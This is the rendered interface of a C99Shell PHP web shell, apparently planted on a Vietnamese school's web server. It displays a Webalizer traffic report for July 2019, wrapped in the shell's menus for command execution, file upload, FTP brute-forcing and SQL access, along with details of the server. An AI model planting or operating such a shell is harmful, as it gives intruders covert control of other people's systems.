!C99Shell v. 2.1 [PHP 8 Update] [02.02.2022]!

Software: Microsoft-IIS/10.0. PHP/7.4.33 

uname -a: Windows NT LAKE 10.0 build 20348 (Windows Server 2016) AMD64 

IWPD_801(traduongco) 

Safe-mode: OFF (not secure)

E:\thcsltv.edu.vn\.plesk\statistics\thcsltv.edu.vn\webstat\   drwxrwxrwx
Free 226.11 GB of 400 GB (56.53%)
Detected drives: [ a ] [ c ] [ d ] [ e ]
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     usage_201907.html (89.93 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
Usage Statistics for thcsltv.edu.vn - July 2019

Usage Statistics for thcsltv.edu.vn

Summary Period: July 2019
Generated 03-Aug-2019 11:47 SE Asia Standard Time

[Daily Statistics] [Hourly Statistics] [URLs] [Entry] [Exit] [Sites] [Referrers] [Search] [Agents] [Countries]

Monthly Statistics for July 2019
Total Hits 724
Total Files 539
Total Pages 272
Total Visits 115
Total KBytes 6028
Total Unique Sites 74
Total Unique URLs 11
Total Unique Referrers 6
Total Unique User Agents 32
. Avg Max
Hits per Hour 0 68
Hits per Day 23 73
Files per Day 17 60
Pages per Day 8 42
Visits per Day 3 7
KBytes per Day 194 1109
Hits by Response Code
Code 200 - OK 539
Code 304 - Not Modified 75
Code 404 - Not Found 110

Daily usage for July 2019

Daily Statistics for July 2019
Day Hits Files Pages Visits Sites KBytes
1 27 3.73% 8 1.48% 8 2.94% 5 4.35% 6 8.11% 26 0.43%
2 4 0.55% 3 0.56% 3 1.10% 2 1.74% 2 2.70% 4 0.07%
3 38 5.25% 33 6.12% 9 3.31% 5 4.35% 8 10.81% 361 5.98%
4 5 0.69% 4 0.74% 4 1.47% 4 3.48% 2 2.70% 7 0.12%
5 73 10.08% 60 11.13% 42 15.44% 7 6.09% 7 9.46% 547 9.08%
6 19 2.62% 16 2.97% 8 2.94% 5 4.35% 6 8.11% 105 1.74%
7 8 1.10% 5 0.93% 3 1.10% 3 2.61% 4 5.41% 11 0.18%
8 5 0.69% 4 0.74% 4 1.47% 4 3.48% 5 6.76% 7 0.12%
9 19 2.62% 14 2.60% 5 1.84% 4 3.48% 6 8.11% 95 1.57%
10 7 0.97% 5 0.93% 5 1.84% 5 4.35% 4 5.41% 10 0.17%
11 3 0.41% 2 0.37% 2 0.74% 2 1.74% 3 4.05% 4 0.07%
12 10 1.38% 4 0.74% 4 1.47% 3 2.61% 6 8.11% 14 0.24%
13 21 2.90% 18 3.34% 5 1.84% 4 3.48% 6 8.11% 150 2.48%
14 43 5.94% 28 5.19% 14 5.15% 5 4.35% 7 9.46% 329 5.46%
15 49 6.77% 44 8.16% 17 6.25% 6 5.22% 7 9.46% 1109 18.40%
16 31 4.28% 28 5.19% 10 3.68% 3 2.61% 4 5.41% 261 4.33%
17 1 0.14% 1 0.19% 1 0.37% 1 0.87% 1 1.35% 1 0.02%
18 38 5.25% 34 6.31% 4 1.47% 4 3.48% 6 8.11% 316 5.24%
19 22 3.04% 7 1.30% 7 2.57% 6 5.22% 6 8.11% 22 0.37%
20 14 1.93% 11 2.04% 4 1.47% 4 3.48% 5 6.76% 89 1.47%
21 23 3.18% 22 4.08% 12 4.41% 2 1.74% 2 2.70% 188 3.12%
22 36 4.97% 29 5.38% 11 4.04% 4 3.48% 7 9.46% 243 4.03%
23 46 6.35% 32 5.94% 16 5.88% 7 6.09% 7 9.46% 286 4.74%
24 56 7.73% 43 7.98% 33 12.13% 5 4.35% 7 9.46% 781 12.96%
25 19 2.62% 8 1.48% 8 2.94% 3 2.61% 5 6.76% 184 3.06%
26 31 4.28% 26 4.82% 9 3.31% 2 1.74% 4 5.41% 236 3.92%
27 7 0.97% 4 0.74% 4 1.47% 3 2.61% 5 6.76% 207 3.44%
28 0 0.00% 0 0.00% 0 0.00% 0 0.00% 0 0.00% 0 0.00%
29 4 0.55% 0 0.00% 0 0.00% 0 0.00% 3 4.05% 6 0.09%
30 33 4.56% 20 3.71% 11 4.04% 2 1.74% 4 5.41% 206 3.42%
31 32 4.42% 26 4.82% 9 3.31% 5 4.35% 9 12.16% 221 3.66%

Hourly usage for July 2019

Hourly Statistics for July 2019
Hour Hits Files Pages KBytes
Avg Total Avg Total Avg Total Avg Total
0 0 21 2.90% 0 11 2.04% 0 3 1.10% 3 79 1.31%
1 3 107 14.78% 2 73 13.54% 1 55 20.22% 21 664 11.01%
2 1 38 5.25% 0 20 3.71% 0 11 4.04% 11 328 5.44%
3 1 47 6.49% 1 38 7.05% 0 13 4.78% 13 394 6.53%
4 0 23 3.18% 0 13 2.41% 0 7 2.57% 4 126 2.10%
5 0 11 1.52% 0 6 1.11% 0 4 1.47% 7 212 3.52%
6 0 14 1.93% 0 10 1.86% 0 7 2.57% 2 71 1.18%
7 2 62 8.56% 1 52 9.65% 0 15 5.51% 16 489 8.11%
8 3 96 13.26% 2 82 15.21% 1 36 13.24% 47 1447 24.00%
9 1 56 7.73% 1 44 8.16% 1 34 12.50% 25 780 12.94%
10 0 23 3.18% 0 18 3.34% 0 4 1.47% 5 160 2.66%
11 0 16 2.21% 0 14 2.60% 0 6 2.21% 3 82 1.36%
12 1 49 6.77% 1 38 7.05% 0 21 7.72% 12 359 5.96%
13 2 72 9.94% 1 57 10.58% 0 24 8.82% 14 442 7.33%
14 0 27 3.73% 0 23 4.27% 0 8 2.94% 5 168 2.78%
15 0 7 0.97% 0 6 1.11% 0 6 2.21% 0 10 0.17%
16 0 6 0.83% 0 3 0.56% 0 3 1.10% 0 9 0.14%
17 0 3 0.41% 0 2 0.37% 0 2 0.74% 0 4 0.07%
18 0 5 0.69% 0 3 0.56% 0 3 1.10% 0 7 0.12%
19 0 10 1.38% 0 9 1.67% 0 1 0.37% 2 74 1.23%
20 0 0 0.00% 0 0 0.00% 0 0 0.00% 0 0 0.00%
21 0 20 2.76% 0 14 2.60% 0 6 2.21% 3 107 1.78%
22 0 11 1.52% 0 3 0.56% 0 3 1.10% 1 16 0.26%
23 0 0 0.00% 0 0 0.00% 0 0 0.00% 0 0 0.00%

Top 9 of 11 Total URLs
# Hits KBytes URL
1 272 37.57% 3275 54.33% /
2 40 5.52% 706 11.72% /libraries/js/menu/bootstrap.min.js
3 40 5.52% 1369 22.72% /libraries/js/menu/jquery-3.3.1.min.js
4 40 5.52% 324 5.37% /libraries/js/menu/popper.min.js
5 40 5.52% 29 0.48% /libraries/js/menu/script.js
6 40 5.52% 27 0.45% /libraries/js/popup.js
7 39 5.39% 39 0.64% /libraries/css/menu/bootstrap.min.css
8 39 5.39% 45 0.74% /libraries/css/style.css
9 38 5.25% 25 0.42% /libraries/css/style_p.css

Top 9 of 11 Total URLs By KBytes
# Hits KBytes URL
1 272 37.57% 3275 54.33% /
2 40 5.52% 1369 22.72% /libraries/js/menu/jquery-3.3.1.min.js
3 40 5.52% 706 11.72% /libraries/js/menu/bootstrap.min.js
4 40 5.52% 324 5.37% /libraries/js/menu/popper.min.js
5 39 5.39% 45 0.74% /libraries/css/style.css
6 39 5.39% 39 0.64% /libraries/css/menu/bootstrap.min.css
7 40 5.52% 29 0.48% /libraries/js/menu/script.js
8 40 5.52% 27 0.45% /libraries/js/popup.js
9 38 5.25% 25 0.42% /libraries/css/style_p.css

Top 1 of 1 Total Entry Pages
# Hits Visits URL
1 272 37.57% 115 100.00% /

Top 1 of 1 Total Exit Pages
# Hits Visits URL
1 272 37.57% 115 100.00% /

Top 30 of 74 Total Sites
# Hits Files KBytes Visits Hostname
1 138 19.06% 98 18.18% 839 13.92% 13 11.30% dynamic-ip-adsl.viettel.vn
2 84 11.60% 80 14.84% 1048 17.39% 4 3.48% 117.3.128.13
3 68 9.39% 47 8.72% 421 6.99% 6 5.22% dynamic-adsl.viettel.vn
4 54 7.46% 43 7.98% 423 7.02% 2 1.74% 117.3.228.126
5 48 6.63% 45 8.35% 398 6.60% 3 2.61% static.vnpt.vn
6 39 5.39% 24 4.45% 159 2.64% 12 10.43% crawl-66-249-71-17.googlebot.com
7 38 5.25% 19 3.53% 142 2.36% 7 6.09% crawl-66-249-71-16.googlebot.com
8 36 4.97% 34 6.31% 284 4.72% 3 2.61% ocean
9 33 4.56% 17 3.15% 61 1.02% 12 10.43% crawl-66-249-71-18.googlebot.com
10 16 2.21% 15 2.78% 142 2.36% 1 0.87% ec2-13-57-203-151.us-west-1.compute.amazonaws.com
11 14 1.93% 4 0.74% 274 4.54% 2 1.74% google-proxy-64-233-173-153.google.com
12 12 1.66% 10 1.86% 351 5.82% 2 1.74% google-proxy-64-233-173-145.google.com
13 12 1.66% 12 2.23% 353 5.85% 1 0.87% google-proxy-64-233-173-147.google.com
14 10 1.38% 9 1.67% 74 1.23% 1 0.87% static.cmcti.vn
15 9 1.24% 9 1.67% 91 1.52% 1 0.87% 128-69-198-177.broadband.corbina.ru
16 9 1.24% 3 0.56% 140 2.33% 2 1.74% google-proxy-64-233-173-152.google.com
17 8 1.10% 8 1.48% 378 6.26% 1 0.87% google-proxy-64-233-173-146.google.com
18 7 0.97% 6 1.11% 64 1.05% 1 0.87% 69.171.251.42
19 7 0.97% 1 0.19% 70 1.16% 1 0.87% google-proxy-64-233-173-151.google.com
20 4 0.55% 3 0.56% 41 0.69% 0 0.00% crawl-66-249-79-111.googlebot.com
21 4 0.55% 3 0.56% 25 0.41% 1 0.87% google-proxy-66-249-82-144.google.com
22 4 0.55% 4 0.74% 139 2.30% 0 0.00% google-proxy-66-249-82-146.google.com
23 3 0.41% 3 0.56% 11 0.18% 0 0.00% 69.171.251.37
24 3 0.41% 2 0.37% 4 0.07% 1 0.87% crawl-66-249-69-207.googlebot.com
25 3 0.41% 1 0.19% 4 0.07% 1 0.87% crawl-66-249-71-13.googlebot.com
26 3 0.41% 1 0.19% 4 0.07% 1 0.87% ec2-54-203-111-193.us-west-2.compute.amazonaws.com
27 3 0.41% 1 0.19% 4 0.07% 1 0.87% google-proxy-66-102-6-211.google.com
28 2 0.28% 1 0.19% 3 0.05% 1 0.87% 239.24.232.35.bc.googleusercontent.com
29 2 0.28% 1 0.19% 3 0.05% 1 0.87% bot-103-131-71-101.coccoc.com
30 2 0.28% 1 0.19% 3 0.05% 1 0.87% bot-103-131-71-95.coccoc.com

Top 10 of 74 Total Sites By KBytes
# Hits Files KBytes Visits Hostname
1 84 11.60% 80 14.84% 1048 17.39% 4 3.48% 117.3.128.13
2 138 19.06% 98 18.18% 839 13.92% 13 11.30% dynamic-ip-adsl.viettel.vn
3 54 7.46% 43 7.98% 423 7.02% 2 1.74% 117.3.228.126
4 68 9.39% 47 8.72% 421 6.99% 6 5.22% dynamic-adsl.viettel.vn
5 48 6.63% 45 8.35% 398 6.60% 3 2.61% static.vnpt.vn
6 8 1.10% 8 1.48% 378 6.26% 1 0.87% google-proxy-64-233-173-146.google.com
7 12 1.66% 12 2.23% 353 5.85% 1 0.87% google-proxy-64-233-173-147.google.com
8 12 1.66% 10 1.86% 351 5.82% 2 1.74% google-proxy-64-233-173-145.google.com
9 36 4.97% 34 6.31% 284 4.72% 3 2.61% ocean
10 14 1.93% 4 0.74% 274 4.54% 2 1.74% google-proxy-64-233-173-153.google.com

Top 6 of 6 Total Referrers
# Hits Referrer
1 264 36.46% http://thcsltv.edu.vn/
2 228 31.49% - (Direct Request)
3 226 31.22% http://thcsltv.edu.vn/index.php
4 4 0.55% http://www.google.com/
5 1 0.14% android-app://com.google.android.googlequicksearchbox/https/www.google.com
6 1 0.14% https://yandex.ru/clck/jsredir

Top 15 of 32 Total User Agents
# Hits User Agent
1 108 14.92% Mozilla/5.0+(Windows+NT+6.1)+AppleWebKit/537.36+(KHTML,+like+Gecko)+coc_coc_browser/80.0.180+Chrome/74.0.3729.180+Safari/537.36
2 54 7.46% Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/75.0.3770.142+Safari/537.36
3 54 7.46% Mozilla/5.0+(Windows+NT+6.1)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/75.0.3770.100+Safari/537.36
4 54 7.46% Mozilla/5.0+(Windows+NT+6.1)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/75.0.3770.142+Safari/537.36
5 52 7.18% Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/75.0.3770.100+Safari/537.36
6 42 5.80% Mozilla/5.0+(Linux;+Android+7.0;+SAMSUNG+SM-G935F+Build/NRD90M)+AppleWebKit/537.36+(KHTML,+like+Gecko)+SamsungBrowser/9.2+Chrome/67.0.3396.87+Mobile+Safari/537.36
7 42 5.80% Mozilla/5.0+(compatible;+Googlebot/2.1;++http://www.google.com/bot.html)
8 35 4.83% Mozilla/5.0+(Linux;+Android+6.0.1;+Nexus+5X+Build/MMB29P)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/41.0.2272.96+Mobile+Safari/537.36+(compatible;+Googlebot/2.1;++http://www.google.com/bot.html
9 33 4.56% Googlebot-Image/1.0
10 31 4.28% Mozilla/5.0+(Linux;+Android+7.0;+SM-A710F)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/75.0.3770.143+Mobile+Safari/537.36
11 22 3.04% Mozilla/5.0+(Linux;+Android+7.1.2;+Redmi+5)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/75.0.3770.101+Mobile+Safari/537.36
12 22 3.04% Mozilla/5.0+(Linux;+Android+8.1.0;+SM-G610F)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/75.0.3770.101+Mobile+Safari/537.36
13 21 2.90% Go-http-client/1.1
14 17 2.35% Mozilla/5.0+(Linux;+Android+7.1.2;+Redmi+5)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/75.0.3770.143+Mobile+Safari/537.36
15 16 2.21% CheckMarkNetwork/1.0+(+http://www.checkmarknetwork.com/spider.html)

Usage by Country for July 2019

Top 5 of 5 Total Countries
# Hits Files KBytes Country
1 264 36.46% 199 36.92% 1733 28.74% Viet Nam
2 263 36.33% 162 30.06% 2367 39.27% US Commercial
3 186 25.69% 168 31.17% 1834 30.43% Unresolved/Unknown
4 9 1.24% 9 1.67% 91 1.52% Russian Federation
5 2 0.28% 1 0.19% 3 0.05% Network


Generated by Webalizer Version 2.01

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.1 [PHP 8 Update] [02.02.2022] maintained byC99Shell Github | Generation time: 0.4251 ]--